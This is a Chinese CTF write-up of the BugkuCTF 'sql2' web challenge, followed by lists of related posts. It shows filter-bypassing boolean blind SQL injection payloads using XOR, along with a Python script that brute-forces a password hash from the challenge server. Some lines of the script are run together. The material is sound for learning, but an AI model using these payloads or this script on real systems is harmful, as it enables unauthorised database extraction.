来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬)

在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archives/55286.html

但是,这很明显是有另一种属于 sql注入 的解法。那么作为一个萌新,sql注入也是一个很重要的知识点,于是决定用注入解出问题。

先抓包。然后看看它都过滤了什么。

然后你跟我说,只有这些东西(长度367)没有被过滤??

心态崩了,但是可以确定,这绝对是盲注,那就没有什么好说的了,发现它有两种返回形式 username error!   和     password  error!

那么就是基于布尔类型的盲注了。^和-没有过滤,可以试试异或注入。

思路:

异或注入中 id= 'admin'^(0)^'' 就相当于id=0  而  id='admin'^(1)^''  就相当于id=1 所以我们可以在括号中放入我们需要注入的sql语句,从而实现判断对错。

成功用 payload=admin'^(length(passwd)=32)^' 获得这个密码的长度是32位(看来很可能是md5)。然后快乐下一步。

但是这个憨批东西把逗号给过滤了(缓缓打出一个问好)。不过还好,我们还有别的方法

substr((database())from(1)for(1))   就相当于  substr(database(),1,1)

然后。。你把 for 都过滤了?(我可能不适合这个东西。)

然后看了大佬的wp后才发现竟然可以不要for(惊!)

字符串从第二位开始到最后。

然后用这个方法,再把字符串反向取一遍不就可以拿到每一位的字符了吗?

二话不说

写脚本(注意一下网址是login.php而并不是index.php,当初因为搞错网址卡了好久)

import requests

dict1 = 'abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890:_@,\{\}.'
url = 'http://123.206.87.240:8007/web2/login.php' #注意网址
uname = "admin'^(ascii(mid(REVERSE(substr((passwd)from(-{})))from(-1)))={})^'"
passwd = '123456' req = requests.session()
cookie = {'PHPSESSID':'eae6uln265c9dm58f306g4d2sand7ea8'}
params = {'uname':uname,'passwd':passwd}
flag = '' for k in range(32):
for i in range(72):
params = {'uname':uname.format(str(k),str(ord(dict1[i]))),'passwd':passwd}
ans = requests.post(url,params).text if 'username' in ans:
print(dict1[i])
flag += dict1[i]
break print(flag)

爆得md5

拿到md5解密网站上去看一下,拿到了密码

输入用户名密码。

进入

既然你都写出来了,那我就ls试一下,然后就拿到了flag

感谢大佬

参考wp:

https://blog.csdn.net/yiqiushi4748/article/details/93138238

https://blog.csdn.net/Langtuteng17/article/details/80779050

https://blog.csdn.net/Mikasa_/article/details/87475337

bugkuctf web区 sql2的更多相关文章

  1. bugkuctf web区 多次

    首先看到以下url : 发现这是一个基于布尔类型的盲注. true: false: 根据这两种类型可以进行注入.废话不多说,直接进行尝试. 构造 url = index.php?id=1' or 1= ...

  2. BugkuCTF web基础$_POST

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  3. BugkuCTF web基础$_GET

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  4. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  5. BugkuCTF WEB

    web2 打开链接,一大堆表情 查看源代码 得到 flag 文件上传测试 打开链接 选择 1 个 jpg 文件进行上传,用 burp 抓包改包 将 php 改为 jpg,发包 得到 flag 计算器 ...

  6. GYCTF Web区部分WP

    目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...

  7. BugkuCTF 你必须让他停下

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  8. BugkuCTF SQL注入1

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  9. BugkuCTF 域名解析

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

随机推荐

  1. python super继承用法

    子类对父类的继承一般写法为1, 高级方法为super. 1 # 1,普通继承 2 #新建一个父类 3 class Father(): 4 def father(self,message): 5 pri ...

  2. hi-nginx-java并发性能一窥

    欲知hi-nginx-java的并发性能,用jmeter进行测试便知一二. 设定用户数为100000,循环次数为100,ramp-up perio为2: 请求地址为http://localhost/t ...

  3. 45. 跳跃游戏 II

    给定一个非负整数数组,你最初位于数组的第一个位置. 数组中的每个元素代表你在该位置可以跳跃的最大长度. 你的目标是使用最少的跳跃次数到达数组的最后一个位置. 示例: 输入: [2,3,1,1,4]输出 ...

  4. 《.NET 5.0 背锅案》第5集-案情大转弯:都是我们的错,让 .NET 5.0 背锅

    第1集:验证 .NET 5.0 正式版 docker 镜像问题 第2集:码中的小窟窿,背后的大坑,发现重要嫌犯 EnyimMemcachedCore 第3集-剧情反转:EnyimMemcachedCo ...

  5. docker学习汇总

    学习思路: l Docker是什么? l Docker有什么特点? l Docker 怎么用? l 不论什么知识框架都要以官方文档为主 一.认识docker Docker的概念 Docker是一个开源 ...

  6. 【译】Arc 在 Rust 中是如何工作的

    原文标题:How Arc works in Rust 原文链接:https://medium.com/@DylanKerler1/how-arc-works-in-rust-b06192acd0a6 ...

  7. linux 身份鉴别口令复杂度整改

    口令复杂度: 1.首先安装apt install libpam-cracklib -y2.vim /etc/pam.d/common-password3.在第2步末尾添加password requis ...

  8. python-网络安全编程第四天(数据库编程&网络编程)

    前言 好几天没更因为寒假放假回家放松了几天 嘿嘿 今天继续开始启动学习模式. python数据库编程 Python DB API访问数据库流程 Python DB API包含的内容 什么是 PyMyS ...

  9. css3系列之详解box-shadow

    box-shadow box-shadow呢 是设置元素的阴影效果的,利用这个属性,可以设计很多很炫丽的效果,不信? 等下,学完,我们就来完成下面这两个效果 首先 先了解一下,box-shadow 的 ...

  10. 04.vue获取微博授权URL

    1.在Vue页面加载时动态发送请求获取微博授 权url 1.1 在 components\common\lab_header.vue 中写oauth动态获取微 博授权**URL // 获取微博登录地址 ...